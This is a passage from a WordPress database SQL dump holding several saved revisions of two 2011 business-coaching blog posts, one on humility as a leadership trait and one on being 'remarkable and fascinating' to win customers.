who earned my deepest respect were leaders who brought out the best in me. They seemed to be focused on my success, my ability to contribute greater value to their organizations. They elevated the state of everyone they came into contact with–empowering them to be the best they can be. They set the bar high, but were honest and transparent about their own flaws, failures and set-backs.\r\n\r\nIf you want to truly influence and impact people, don’t blather on about your own successes, share your failures. This is the common ground we all share. Everybody screws up something at one time or another. We’ve all been humbled by our mistakes. Our natural inclination to is to learn and grow. Nothing stunts growth and advancement to our desires more than dogma and ego.\r\n\r\n<strong>Admitting our own weaknesses, being patient with the weakness of others and putting the spotlight on the accomplishments of others is how you’ll create more influence with everyone you come into contact with.</strong>', 'Humility is the bridge to common ground and greater influence.', 0, '', 'inherit', 'open', 'open', '', '1641-revision-14', '', '', '2011-06-23 12:56:26', '2011-06-23 19:56:26', '', 1641, 'http://www.whitehotcenter.com/2011/06/23/1641-revision-14/', 0, 'revision', '', 0),
(1655, 2, '2011-06-23 12:52:30', '2011-06-23 19:52:30', '<p><img class="alignnone size-full wp-image-1642" title="buildingabridge" src="http://whc.fbdev.org/wp-content/uploads/2011/06/buildingabridge.jpg" alt="" width="485" height="161" /></p>\r\n<h1><span style="color: #808080;">In realizing our dreams and aspirations for success, it’s easy to get caught up in a belief that we’re smarter and more capable than others because our success proves it.</span></h1>\r\n<p><strong>It’s easy to become so self-absorbed in our pursuits we forget the importance of humility.</strong></p>\r\n<p>I believe the bridge to common ground and richer experiences in life is though humility. To be humble is not weakness, nor is it a behavior of timidly hiding behind our accomplishments.  As author John Maxwell points out, “false humility downplays one’s genuine strengths to receive praise, arrogance plays up one’s strengths to receive praise, true humility raises up others so they can be praised”. As you begin to realize your business success, my advice is to be humble.</p>\r\n<h2>Humility is a frame of mind where you knowingly use your strengths for the benefit of others on behalf of a higher purpose beyond your own accomplishments. In my view, this is the defining characteristic of great leadership.</h2>\r\n<p>The humble leader is not weak, but strong.  Humble leaders are never pre-occupied with their accomplishments. Rather they focus on using all their strength, talent and capability for the good of others. Humble leaders are servants in disguise–they serve to fulfill a worthy cause.</p>\r\n<p>In my many years consulting with corporate executives, those who earned my deepest respect were leaders who brought out the best in me. They seemed to be focused on my success, my ability to contribute true value to their organizations. They elevated the state of everyone they came into contact with–empowering them to be the best they can be. They set the bar high, but were honest and transparent about their own flaws, failures and set-backs.</p>\r\n<p>If you want to truly influence and impact people, don’t blather on about your own successes, share your failures. This is the common ground we all share. Everybody screws up something at one time or another. We’ve all been humbled by our mistakes. Our natural inclination to is to learn and grow. Nothing stunts growth and advancement to our desires more than dogma and ego.</p>\r\n<p><strong>Admitting our own weaknesses, being patient with the weakness of others and putting the spotlight on the accomplishments of others is how you’ll create more influence with everyone you come into contact with.</strong></p>\r\n', 'Humility is the bridge to common ground and greater influence.', 0, '', 'inherit', 'open', 'open', '', '1641-revision-13', '', '', '2011-06-23 12:52:30', '2011-06-23 19:52:30', '', 1641, 'http://www.whitehotcenter.com/2011/06/23/1641-revision-13/', 0, 'revision', '', 0),
(1657, 2, '2011-06-23 12:56:33', '2011-06-23 19:56:33', '<img class="alignnone size-full wp-image-1642" title="buildingabridge" src="http://whc.fbdev.org/wp-content/uploads/2011/06/buildingabridge.jpg" alt="" width="485" height="161" />\r\n<h1><span style="color: #808080;">In realizing our dreams and aspirations for success, it’s easy to get caught up in a belief that we’re smarter and more capable than others because our success proves it.</span></h1>\r\n<strong>It’s easy to become so self-absorbed in our pursuits we forget the importance of humility.</strong>\r\n\r\nI believe the bridge to common ground and richer experiences in life is though humility. To be humble is not weakness, nor is it a behavior of timidly hiding behind our accomplishments.  As author John Maxwell points out, “false humility downplays one’s genuine strengths to receive praise, arrogance plays up one’s strengths to receive praise, true humility raises up others so they can be praised”. As you begin to realize your business success, my advice is to be humble.\r\n<h2>Humility is a frame of mind where you knowingly use your strengths for the benefit of others on behalf of a higher purpose beyond your own accomplishments. In my view, this is the defining characteristic of great leadership.</h2>\r\nThe humble leader is not weak, but strong.  Humble leaders are never pre-occupied with their accomplishments. Rather they focus on using all their strength, talent and capability for the good of others. Humble leaders are servants in disguise–they serve to fulfill a worthy cause.\r\n\r\nIn my many years consulting with corporate executives, those who earned my deepest respect were leaders who brought out the best in me. They seemed to be focused on my success, my ability to contribute greater value to their organizations. They elevated the state of everyone they came into contact with–empowering them to be the best they can be. They set the bar high, but were honest and transparent about their own flaws, failures and set-backs.\r\n\r\nIf you want to truly influence and impact people, don’t blather on about your own successes, share your failures. This is the common ground we all share. Everybody screws up something at one time or another. We’ve all been humbled by our mistakes. Our natural inclination to is to learn and grow. Nothing stunts growth and advancement to our desires more than dogma and ego.\r\n\r\n<strong>Admitting our own weaknesses, being patient with the weakness of others and putting the spotlight on the accomplishments of others is how you’ll create more influence with everyone you come into contact with.</strong>', 'Humility is the bridge to common ground and greater influence.', 0, '', 'inherit', 'open', 'open', '', '1641-revision-15', '', '', '2011-06-23 12:56:33', '2011-06-23 19:56:33', '', 1641, 'http://www.whitehotcenter.com/2011/06/23/1641-revision-15/', 0, 'revision', '', 0),
(1658, 2, '2011-06-23 13:06:51', '2011-06-23 20:06:51', '<img class="alignnone size-full wp-image-1642" title="buildingabridge" src="http://whc.fbdev.org/wp-content/uploads/2011/06/buildingabridge.jpg" alt="" width="485" height="161" />\r\n<h1><span style="color: #808080;">In realizing our dreams and aspirations for success, it’s easy to get caught up in a belief that we’re smarter and more capable than others because our success proves it.</span></h1>\r\n<strong>It’s easy to become so self-absorbed in our pursuits we forget the importance of humility.</strong>\r\n\r\nI believe the bridge to common ground and richer experiences in life is though humility. To be humble is not weakness, nor is it a behavior of timidly hiding behind our accomplishments.  As author John Maxwell points out, “false humility downplays one’s genuine strengths to receive praise, arrogance plays up one’s strengths to receive praise, true humility raises up others so they can be praised”. As you begin to realize your business success, my advice is to be humble.\r\n<h2>Humility is a frame of mind where you knowingly use your strengths for the benefit of others on behalf of a higher purpose beyond your own accomplishments. In my view, this is the defining characteristic of great leadership.</h2>\r\nThe humble leader is not weak, but strong.  Humble leaders are never pre-occupied with their accomplishments. Rather they focus on using all their strength, talent and capability for the good of others. Humble leaders are servants in disguise–they serve to fulfill a worthy cause.\r\n\r\nIn my many years consulting with corporate executives, those who earned my deepest respect were leaders who brought out the best in me. They seemed to be focused on my success, my ability to contribute greater value to their organizations. They elevated the state of everyone they came into contact with–empowering them to be the best they can be. They set the bar high, but were honest and transparent about their own flaws, failures and set-backs.\r\n\r\nIf you want to truly influence and impact people, don’t blather on about your own successes, share your failures. This is the common ground we all share. Everybody screws up something at one time or another. We’ve all been humbled by our mistakes. Our natural inclination to is to learn and grow. Nothing stunts growth and advancement to our desires more than dogma and ego.\r\n\r\n<strong>Admitting our own weaknesses, being patient with the weakness of others and putting the spotlight on the accomplishments of others is how you’ll create more influence with everyone you come into contact with.</strong>', 'Humility is the bridge to common ground and greater influence.', 0, '', 'inherit', 'open', 'open', '', '1641-autosave', '', '', '2011-06-23 13:06:51', '2011-06-23 20:06:51', '', 1641, 'http://www.whitehotcenter.com/2011/06/23/1641-autosave/', 0, 'revision', '', 0),
(1662, 2, '2011-06-30 14:54:12', '2011-06-30 21:54:12', '<img class="alignnone size-full wp-image-1663" title="fascinatingart" src="http://whc.fbdev.org/wp-content/uploads/2011/06/fascinatingart.jpg" alt="" width="490" height="342" />\r\n<h1><span style="color: #808080;">For your business to really get the traction and momentum it needs to get to the next level, you better be fascinating and contribute something remarkable.</span></h1>\r\nIn working with my entrepreneur consulting clients, many want to hyper-focus on marketing activities that produce instant results. Well I have news for you–the world doesn’t work that way anymore. Nobody cares that you need business. Building your business takes time! There are no silver bullets. Building lifetime relationships with high value clients and customers requires you bring something extraordinary to the party.\r\n\r\nCustomers don’t care about what you do and they don''t want to be sold; they want to “buy into” something that they care about. You have to create value for others first, the money comes later. Stop selling and start connecting. Be remarkable and fascinating.\r\n\r\n<strong>Value is in the eye of the beholder. </strong>\r\n\r\nYou may think your stuff’s awesome, but if nobody is paying attention to your contributions of value, if your offer is boring, your value to the world will be still born. You have to engage and connect what’s important to you in ways that really matter to your customers.\r\n<h2>What you bring to the world has to be fascinating, remarkable, and most of all sharable.</h2>\r\nYou can’t wear fascinating and remarkable like trendy shoes, you have to really be remarkable and fascinating– and what’s remarkable and fascinating about you resides within you. You can''t fake it till you make it. Your value proposition has to be genuine from the heart. Of course, you have to believe that first to make the magic work.\r\n\r\n<strong>Here are some suggestions for being more remarkable and fascinating:</strong>\r\n\r\n• have empathy for others\r\n\r\n• contribute to others without expecting anything in return\r\n\r\n• start a parade and lead it\r\n\r\n• stop competing, start creating\r\n\r\n• stop selling, solve the problem\r\n\r\n• embrace risk, get out and play on the edges\r\n\r\n• be grateful\r\n\r\n• elevate the quality of your presence in the world\r\n\r\n• stand for a higher ideal than your own success\r\n\r\n• earn respect over seeking affection\r\n\r\n• elevate all you come into contact with\r\n\r\n• quit sending your brochures through the mail\r\n\r\n• don’t cold call prospects, create value for them <strong></strong>\r\n\r\n<strong>The slush pile grows ever larger.</strong>\r\n\r\nThe quantity of information people deal with is unimaginable compared to a decade ago. Social media has only accelerated this explosion. It’s easy enough to connect yourself into the fabric of the digital scene, but your participation won’t insure others will engage with you–the world doesn’t need more vanilla, me-too, warmed-over anything.\r\n\r\nThe game of business development has changed. Selling is not cool. People yearning for remarkable and fascinating solutions to their problems, fears and desires ignore people who are selling something. Be remarkable and fascinating or stay home.\r\n\r\n<strong>A special treat for you.</strong>\r\n\r\nHead on over to <strong><a href="http://sallyhogshead.com/" target="_blank">Sally Hogshead</a> </strong>blog and take her free <strong><a href="http://sallyhogshead.com/fscoreq1/" target="_blank">(F)Score Brand Personality Test</a>.</strong> I believe you’ll discover helpful insight into your strengths that will  make you (and your value proposition) more remarkable and fascinating.\r\n\r\nIn the slush pile of information on the web, I think her stuff is  right at the top. If you seek information on how to remarkably connect your message  to customers, she can help you. I took the test myself.  The results were  very insightful and useful.  Please let me know if you found your  results fascinating.\r\n\r\n<strong>What makes you remarkable and fascinating?</strong>', 'How fascinating and remarkable are you?', 0, '', 'publish', 'open', 'open', '', 'how-fascinating-and-remarkable-are-you', '', '', '2011-07-07 15:27:46', '2011-07-07 22:27:46', '', 0, 'http://www.whitehotcenter.com/?p=1662', 0, 'post', '', 2),
(1660, 2, '2011-06-23 13:00:53', '2011-06-23 20:00:53', '<img class="alignnone size-full wp-image-1642" title="buildingabridge" src="http://whc.fbdev.org/wp-content/uploads/2011/06/buildingabridge.jpg" alt="" width="485" height="161" />\r\n<h1><span style="color: #808080;">In realizing our dreams and aspirations for success, it’s easy to get caught up in a belief that we’re smarter and more capable than others because our success proves it.</span></h1>\r\n<strong>It’s easy to become so self-absorbed in our pursuits we forget the importance of humility.</strong>\r\n\r\nI believe the bridge to common ground and richer experiences in life is though humility. To be humble is not weakness, nor is it a behavior of timidly hiding behind our accomplishments.  As author John Maxwell points out, “false humility downplays one’s genuine strengths to receive praise, arrogance plays up one’s strengths to receive praise, true humility raises up others so they can be praised”. As you begin to realize your business success, my advice is to be humble.\r\n<h2>Humility is a frame of mind where you knowingly use your strengths for the benefit of others on behalf of a higher purpose beyond your own accomplishments. In my view, this is the defining characteristic of great leadership.</h2>\r\nThe humble leader is not weak, but strong.  Humble leaders are never pre-occupied with their accomplishments. Rather they focus on using all their strength, talent and capability for the good of others. Humble leaders are servants in disguise–they serve to fulfill a worthy cause.\r\n\r\nIn my many years consulting with corporate executives, those who earned my deepest respect were leaders who brought out the best in me. They seemed to be focused on my success, my ability to contribute greater value to their organizations. They elevated the state of everyone they came into contact with–empowering them to be the best they can be. They set the bar high, but were honest and transparent about their own flaws, failures and set-backs.\r\n\r\nIf you want to truly influence and impact people, don’t blather on about your own successes, share your failures. This is the common ground we all share. Everybody screws up something at one time or another. We’ve all been humbled by our mistakes. Our natural inclination to is to learn and grow. Nothing stunts growth and advancement to our desires more than dogma and ego.\r\n\r\n<strong>Admitting our own weaknesses, being patient with the weakness of others and putting the spotlight on the accomplishments of others is how you’ll create more influence with everyone you come into contact with.</strong>', 'Humility is the bridge to common ground and greater influence.', 0, '', 'inherit', 'open', 'open', '', '1641-revision-16', '', '', '2011-06-23 13:00:53', '2011-06-23 20:00:53', '', 1641, 'http://www.whitehotcenter.com/2011/06/23/1641-revision-16/', 0, 'revision', '', 0),
(1661, 2, '2011-06-23 13:04:28', '2011-06-23 20:04:28', '<img class="alignnone size-full wp-image-1642" title="buildingabridge" src="http://whc.fbdev.org/wp-content/uploads/2011/06/buildingabridge.jpg" alt="" width="485" height="161" />\r\n<h1><span style="color: #808080;">In realizing our dreams and aspirations for success, it’s easy to get caught up in a belief that we’re smarter and more capable than others because our success proves it.</span></h1>\r\n<strong>It’s easy to become so self-absorbed in our pursuits we forget the importance of humility.</strong>\r\n\r\nI believe the bridge to common ground and richer experiences in life is though humility. To be humble is not weakness, nor is it a behavior of timidly hiding behind our accomplishments.  As author John Maxwell points out, “false humility downplays one’s genuine strengths to receive praise, arrogance plays up one’s strengths to receive praise, true humility raises up others so they can be praised”. As you begin to realize your business success, my advice is to be humble.\r\n<h2>Humility is a frame of mind where you knowingly use your strengths for the benefit of others on behalf of a higher purpose beyond your own accomplishments. In my view, this is the defining characteristic of great leadership.</h2>\r\nThe humble leader is not weak, but strong.  Humble leaders are never pre-occupied with their accomplishments. Rather they focus on using all their strength, talent and capability for the good of others. Humble leaders are servants in disguise–they serve to fulfill a worthy cause.\r\n\r\nIn my many years consulting with corporate executives, those who earned my deepest respect were leaders who brought out the best in me. They seemed to be focused on my success, my ability to contribute greater value to their organizations. They elevated the state of everyone they came into contact with–empowering them to be the best they can be. They set the bar high, but were honest and transparent about their own flaws, failures and set-backs.\r\n\r\nIf you want to truly influence and impact people, don’t blather on about your own successes, share your failures. This is the common ground we all share. Everybody screws up something at one time or another. We’ve all been humbled by our mistakes. Our natural inclination to is to learn and grow. Nothing stunts growth and advancement to our desires more than dogma and ego.\r\n\r\n<strong>Admitting our own weaknesses, being patient with the weakness of others and putting the spotlight on the accomplishments of others is how you’ll create more influence with everyone you come into contact with.</strong>', 'Humility is the bridge to common ground and greater influence.', 0, '', 'inherit', 'open', 'open', '', '1641-revision-17', '', '', '2011-06-23 13:04:28', '2011-06-23 20:04:28', '', 1641, 'http://www.whitehotcenter.com/2011/06/23/1641-revision-17/', 0, 'revision', '', 0),
(1663, 2, '2011-06-30 13:17:17', '2011-06-30 20:17:17', '', 'fascinatingart', 0, '', 'inherit', 'open', 'open', '', 'fascinatingart', '', '', '2011-06-30 13:17:17', '2011-06-30 20:17:17', '', 1662, 'http://www.whitehotcenter.com/wp-content/uploads/2011/06/fascinatingart.jpg', 0, 'attachment', 'image/jpeg', 0),
(1664, 2, '2011-06-30 13:23:28', '2011-06-30 20:23:28', '<img class="alignnone size-full wp-image-1663" title="fascinatingart" src="http://whc.fbdev.org/wp-content/uploads/2011/06/fascinatingart.jpg" alt="" width="490" height="342" />\n<h1><span style="color: #808080;">For your business to really get the traction and momentum it needs to get to the next level, you better be fascinating and contribute something remarkable</span>.</h1>\nIn working with my entrepreneur consulting clients, many are hyper-focused on marketing activities that produce instant results. Well I have news for you–the world doesn’t work that way anymore.  Building your business takes time! There are no silver bullets. Building lifetime relationships with high value clients requires you bring something extraordinary to the party.\n\nCustomers don’t want to be sold; they want to “buy into” something that they care about. You have to create value for others first, the money comes later. Stop selling and start connecting. Be remarkable and fascinating.\n\n<strong>Value is in the eye of the beholder. </strong>\n\nYou may think your stuff’s cool, but if nobody is paying attention to your contributions, if your offer is boring, your value to the world will be still born. You have to engage and connect what’s important to you in ways that really matter to your customers.\n<h2>What you bring to the world has to be fascinating, remarkable, and most of all sharable.</h2>\nYou can’t wear fascinating and remarkable like a sweater, you have to really be remarkable and fascinating– and what’s remarkable and fascinating about what you bring to the party resides within you. Of course, you have to believe that first to make the magic work.\n\n<strong>A special treat for you.</strong>\n\nHead on over to Sally Hogshead blog and take her free (F)Score Brand Personality Test. I believe you’ll discover helpful insight into your strengths that will make you (and your value proposition) more remarkable and fascinating.\n\nIn the slush pile of information on the web, I think her stuff is right at the top. If you seek information on how to connect your message to customers, she can help you. I took the test myself. My results were very insightful and useful.  Please let me know if you found your results fascinating.\n\n<strong>Here are some suggestions for being more remarkable and fascinating:</strong>\n\n• have empathy for others\n\n• contribute to others without attachment to reciprocity\n\n• find a parade and lead it\n\n• stop competing for what’s already been created by others\n\n• stop selling, listen\n\n• take more risks, get out on the edges\n\n• be humble and grateful\n\n• elevate the quality of your presence in the world\n\n• stand for a higher ideal\n\n• seek respect over affection\n\n• elevate all you come into contact with\n\n• quit sending your brochures through the mail\n\n• don’t cold call prospects, let them find you.<strong></strong>\n\n<strong>The slush pile grows ever larger.</strong>\n\nThe quantity of information people deal with is unimaginable compared to a decade ago. Social media has only accelerated this explosion. It’s easy enough to connect yourself into the fabric of the digital scene, but your participation won’t insure others will engage with you–the world doesn’t need more vanilla, me-too, warmed-over anything.\n\nThe game of business development has changed. Selling is not cool. People yearning for remarkable and fascinating solutions to their problems, fears and desires ignore people who are selling something. Be remarkable and fascinating or stay home.\n\n<strong>What makes you remarkable and fascinating?</strong>', 'How fascinating are you?', 0, '', 'inherit', 'open', 'open', '', '1662-revision', '', '', '2011-06-30 13:23:28', '2011-06-30 20:23:28', '', 1662, 'http://www.whitehotcenter.com/1662-revision/', 0, 'revision', '', 0),
(1665, 2, '2011-06-30 13:23:38', '2011-06-30 20:23:38', '<img class="alignnone size-full wp-image-1663" title="fascinatingart" src="http://whc.fbdev.org/wp-content/uploads/2011/06/fascinatingart.jpg" alt="" width="490" height="342" />\r\n<h1><span style="color: #808080;">For your business to really get the traction and momentum it needs to get to the next level, you better be fascinating and contribute something remarkable</span>.</h1>\r\nIn working with my entrepreneur consulting clients, many are hyper-focused on marketing activities that produce instant results. Well I have news for you–the world doesn’t work that way anymore.  Building your business takes time! There are no silver bullets. Building lifetime relationships with high value clients requires you bring something extraordinary to the party.\r\n\r\nCustomers don’t want to be sold; they want to “buy into” something that they care about. You have to create value for others first, the money comes later. Stop selling and start connecting. Be remarkable and fascinating.\r\n\r\n<strong>Value is in the eye of the beholder. </strong>\r\n\r\nYou may think your stuff’s cool, but if nobody is paying attention to your contributions, if your offer is boring, your value to the world will be still born. You have to engage and connect what’s important to you in ways that really matter to your customers.\r\n<h2>What you bring to the world has to be fascinating, remarkable, and most of all sharable.</h2>\r\nYou can’t wear fascinating and remarkable like a sweater, you have to really be remarkable and fascinating– and what’s remarkable and fascinating about what you bring to the party resides within you. Of course, you have to believe that first to make the magic work.\r\n\r\n<strong>A special treat for you.</strong>\r\n\r\nHead on over to Sally Hogshead blog and take her free (F)Score Brand Personality Test. I believe you’ll discover helpful insight into your strengths that will make you (and your value proposition) more remarkable and fascinating.\r\n\r\nIn the slush pile of information on the web, I think her stuff is right at the top. If you seek information on how to connect your message to customers, she can help you. I took the test myself. My results were very insightful and useful.  Please let me know if you found your results fascinating.\r\n\r\n<strong>Here are some suggestions for being more remarkable and fascinating:</strong>\r\n\r\n• have empathy for others\r\n\r\n• contribute to others without attachment to reciprocity\r\n\r\n• find a parade and lead it\r\n\r\n• stop competing for what’s already been created by others\r\n\r\n• stop selling, listen\r\n\r\n• take more risks, get out on the edges\r\n\r\n• be humble and grateful\r\n\r\n• elevate the quality of your presence in the world\r\n\r\n• stand for a higher ideal\r\n\r\n• seek respect over affection\r\n\r\n• elevate all you come into contact with\r\n\r\n• quit sending your brochures through the mail\r\n\r\n• don’t cold call prospects, let them find you.<strong></strong>\r\n\r\n<strong>The slush pile grows ever larger.</strong>\r\n\r\nThe quantity of information people deal with is unimaginable compared to a decade ago. Social media has only accelerated this explosion. It’s easy enough to connect yourself into the fabric of the digital scene, but your participation won’t insure others will engage with you–the world doesn’t need more vanilla, me-too, warmed-over anything.\r\n\r\nThe game of business development has changed. Selling is not cool. People yearning for remarkable and fascinating solutions to their problems, fears and desires ignore people who are selling something. Be remarkable and fascinating or stay home.\r\n\r\n<strong>What makes you remarkable and fascinating?</strong>', 'How fascinating are you?', 0, '', 'inherit', 'open', 'open', '', '1662-revision-2', '', '', '2011-06-30 13:23:38', '2011-06-30 20:23:38', '', 1662, 'http://www.whitehotcenter.com/1662-revision-2/', 0, 'revision', '', 0),
(1666, 2, '2011-06-30 13:23:49', '2011-06-30 20:23:49', '<img class="alignnone size-full wp-image-1663" title="fascinatingart" src="http://whc.fbdev.org/wp-content/uploads/2011/06/fascinatingart.jpg" alt="" width="490" height="342" />\r\n<h1><span style="color: #808080;">For your business to really get the traction and momentum it needs to get to the next level, you better be fascinating and contribute something remarkable</span>.</h1>\r\nIn working with my entrepreneur consulting clients, many are hyper-focused on marketing activities that produce instant results. Well I have news for you–the world doesn’t work that way anymore.  Building your business takes time! There are no silver bullets. Building lifetime relationships with high value clients requires you bring something extraordinary to the party.\r\n\r\nCustomers don’t want to be sold; they want to “buy into” something that they care about. You have to create value for others first, the money comes later. Stop selling and start connecting. Be remarkable and fascinating.\r\n\r\n<strong>Value is in the eye of the beholder. </strong>\r\n\r\nYou may think your stuff’s cool, but if nobody is paying attention to your contributions, if your offer is boring, your value to the world will be still born. You have to engage and connect what’s important to you in ways that really matter to your customers.\r\n<h2>What you bring to the world has to be fascinating, remarkable, and most of all sharable.</h2>\r\nYou can’t wear fascinating and remarkable like a sweater, you have to really be remarkable and fascinating– and what’s remarkable and fascinating about what you bring to the party resides within you. Of course, you have to believe that first to make the magic work.\r\n\r\n<strong>A special treat for you.</strong>\r\n\r\nHead on over to Sally Hogshead blog and take her free (F)Score Brand Personality Test. I believe you’ll discover helpful insight into your strengths that will make you (and your value proposition) more remarkable and fascinating.\r\n\r\nIn the slush pile of information on the web, I think her stuff is right at the top. If you seek information on how to connect your message to customers, she can help you. I took the test myself. My results were very insightful and useful.  Please let me know if you found your results fascinating.\r\n\r\n<strong>Here are some suggestions for being more remarkable and fascinating:</strong>\r\n\r\n• have empathy for others\r\n\r\n• contribute to others without attachment to reciprocity\r\n\r\n• find a parade and lead it\r\n\r\n• stop competing for what’s already been created by others\r\n\r\n• stop selling, listen\r\n\r\n• take more risks, get out on the edges\r\n\r\n• be humble and grateful\r\n\r\n• elevate the quality of your presence in the world\r\n\r\n• stand for a higher ideal\r\n\r\n• seek respect over affection\r\n\r\n• elevate all you come into contact with\r\n\r\n• quit sending your brochures through the mail\r\n\r\n• don’t cold call prospects, let them find you.<strong></strong>\r\n\r\n<strong>The slush pile grows ever larger.</strong>\r\n\r\nThe quantity of information people deal with is unimaginable compared to a decade ago. Social media has only accelerated this explosion. It’s easy enough to connect yourself into the fabric of the digital scene, but your participation won’t insure others will engage with you–the world doesn’t need more vanilla, me-too, warmed-over anything.\r\n\r\nThe game of business development has changed. Selling is not cool. People yearning for remarkable and fascinating solutions to their problems, fears and desires ignore people who are selling something. Be remarkable and fascinating or stay home.\r\n\r\n<strong>What makes you remarkable and fascinating?</strong>', 'How fascinating are you?', 0, '', 'inherit', 'open', 'open', '', '1662-revision-3', '', '', '2011-06-30 13:23:49', '2011-06-30 20:23:49', '', 1662, 'http://www.whitehotcenter.com/1662-revision-3/', 0, 'revision', '', 0),
(1667, 2, '2011-06-30 13:28:06', '2011-06-30 20:28:06', '<img class="alignnone size-full wp-image-1663" title="fascinatingart" src="http://whc.fbdev.org/wp-content/uploads/2011/06/fascinatingart.jpg" alt="" width="490" height="342" />\r\n<h1><span style="color: #808080;">For your business to really get the traction and momentum it needs to get to the next level, you better be fascinating and contribute something remarkable</span>.</h1>\r\nIn working with my entrepreneur consulting clients, many are hyper-focused on marketing activities that produce instant results. Well I have news for you–the world doesn’t work that way anymore.  Building your business takes time! There are no silver bullets. Building lifetime relationships with high value clients requires you bring something extraordinary to the party.\r\n\r\nCustomers don’t want to be sold; they want to “buy into” something that they care about. You have to create value for others first, the money comes later. Stop selling and start connecting. Be remarkable and fascinating.\r\n\r\n<strong>Value is in the eye of the beholder. </strong>\r\n\r\nYou may think your stuff’s cool, but if nobody is paying attention to your contributions, if your offer is boring, your value to the world will be still born. You have to engage and connect what’s important to you in ways that really matter to your customers.\r\n<h2>What you bring to the world has to be fascinating, remarkable, and most of all sharable.</h2>\r\nYou can’t wear fascinating and remarkable like a sweater, you have to really be remarkable and fascinating– and what’s remarkable and fascinating about what you bring to the party resides within you. Of course, you have to believe that first to make the magic work.\r\n\r\n<strong>A special treat for you.</strong>\r\n\r\nHead on over to <a href="http://sallyhogshead.com/" target="_blank">Sally Hogshead</a> blog and take her free <a href="http://sallyhogshead.com/fscoreq1/" target="_blank">(F)Score Brand Personality Test</a>. I believe you’ll discover helpful insight into your strengths that will make you (and your value proposition) more remarkable and fascinating.\r\n\r\nIn the slush pile of information on the web, I think her stuff is right at the top. If you seek information on how to connect your message to customers, she can help you. I took the test myself. My results were very insightful and useful.  Please let me know if you found your results fascinating.\r\n\r\n<strong>Here are some suggestions for being more remarkable and fascinating:</strong>\r\n\r\n• have empathy for others\r\n\r\n• contribute to others without attachment to reciprocity\r\n\r\n• find a parade and lead it\r\n\r\n• stop competing for what’s already been created by others\r\n\r\n• stop selling, listen\r\n\r\n• take more risks, get out on the edges\r\n\r\n• be humble and grateful\r\n\r\n• elevate the quality of your presence in the world\r\n\r\n• stand for a higher ideal\r\n\r\n• seek respect over affection\r\n\r\n• elevate all you come into contact with\r\n\r\n• quit sending your brochures through the mail\r\n\r\n• don’t cold call prospects, let them find you.<strong></strong>\r\n\r\n<strong>The slush pile grows ever larger.</strong>\r\n\r\nThe quantity of information people deal with is unimaginable compared to a decade ago. Social media has only accelerated this explosion. It’s easy enough to connect yourself into the fabric of the digital scene, but your participation won’t insure others will engage with you–the world doesn’t need more vanilla, me-too, warmed-over anything.\r\n\r\nThe game of business development has changed. Selling is not cool. People yearning for remarkable and fascinating solutions to their problems, fears and desires ignore people who are selling something. Be remarkable and fascinating or stay home.\r\n\r\n<strong>What makes you remarkable and fascinating?</strong>', 'How fascinating are you?', 0, '', 'inherit', 'open', 'open', '', '1662-revision-4', '', '', '2011-06-30 13:28:06', '2011-06-30 20:28:06', '', 1662, 'http://www.whitehotcenter.com/1662-revision-4/', 0, 'revision', '', 0),
(1668, 2, '2011-06-30 13:28:16', '2011-06-30 20:28:16', '<img class="alignnone size-full wp-image-1663" title="fascinatingart" src="http://whc.fbdev.org/wp-content/uploads/2011/06/fascinatingart.jpg" alt="" width="490" height="342" />\r\n<h1><span style="color: #808080;">For your business to really get the traction and momentum it needs to get to the next level, you better be fascinating and contribute something remarkable</span>.</h1>\r\nIn working with my entrepreneur consulting clients, many are hyper-focused on marketing activities that produce instant results. Well I have news for you–the world doesn’t work that way anymore.  Building your business takes time! There are no silver bullets. Building lifetime relationships with high value clients requires you bring something extraordinary to the party.\r\n\r\nCustomers don’t want to be sold; they want to “buy into” something that they care about. You have to create value for others first, the money comes later. Stop selling and start connecting. Be remarkable and fascinating.\r\n\r\n<strong>Value is in the eye of the beholder. </strong>\r\n\r\nYou may think your stuff’s cool, but if nobody is paying attention to your contributions, if your offer is boring, your value to the world will be still born. You have to engage and connect what’s important to you in ways that really matter to your customers.\r\n<h2>What you bring to the world has to be fascinating, remarkable, and most of all sharable.</h2>\r\nYou can’t wear fascinating and remarkable like a sweater, you have to really be remarkable and fascinating– and what’s remarkable and fascinating about what you bring to the party resides within you. Of course, you have to believe that first to make the magic work.\r\n\r\n<strong>A special treat for you.</strong>\r\n\r\nHead on over to <a href="http://sallyhogshead.com/" target="_blank">Sally Hogshead</a> blog and take her free <a href="http://sallyhogshead.com/fscoreq1/" target="_blank">(F)Score Brand Personality Test</a>. I believe you’ll discover helpful insight into your strengths that will make you (and your value proposition) more remarkable and fascinating.\r\n\r\nIn the slush pile of information on the web, I think her stuff is right at the top. If you seek information on how to connect your message to customers, she can help you. I took the test myself. My results were very insightful and useful.  Please let me know if you found your results fascinating.\r\n\r\n<strong>Here are some suggestions for being more remarkable and fascinating:</strong>\r\n\r\n• have empathy for others\r\n\r\n• contribute to others without attachment to reciprocity\r\n\r\n• find a parade and lead it\r\n\r\n• stop competing for what’s already been created by others\r\n\r\n• stop selling, listen\r\n\r\n• take more risks, get out on the edges\r\n\r\n• be humble and grateful\r\n\r\n• elevate the quality of your presence in the world\r\n\r\n• stand for a higher ideal\r\n\r\n• seek respect over affection\r\n\r\n• elevate all you come into contact with\r\n\r\n• quit sending your brochures through the mail\r\n\r\n• don’t cold call prospects, let them find you.<strong></strong>\r\n\r\n<strong>The slush pile grows ever larger.</strong>\r\n\r\nThe quantity of information people deal with is unimaginable compared to a decade ago. Social media has only accelerated this explosion. It’s easy enough to connect yourself into the fabric of the digital scene, but your participation won’t insure others will engage with you–the world doesn’t need more vanilla, me-too, warmed-over anything.\r\n\r\nThe game of business development has changed. Selling is not cool. People yearning for remarkable and fascinating solutions to their problems, fears and desires ignore people who are selling something. Be remarkable and fascinating or stay home.\r\n\r\n<strong>What makes you remarkable and fascinating?</strong>', 'How fascinating are you?', 0, '', 'inherit', 'open', 'open', '', '1662-revision-5', '', '', '2011-06-30 13:28:16', '2011-06-30 20:28:16', '', 1662, 'http://www.whitehotcenter.com/1662-revision-5/', 0, 'revision', '', 0);
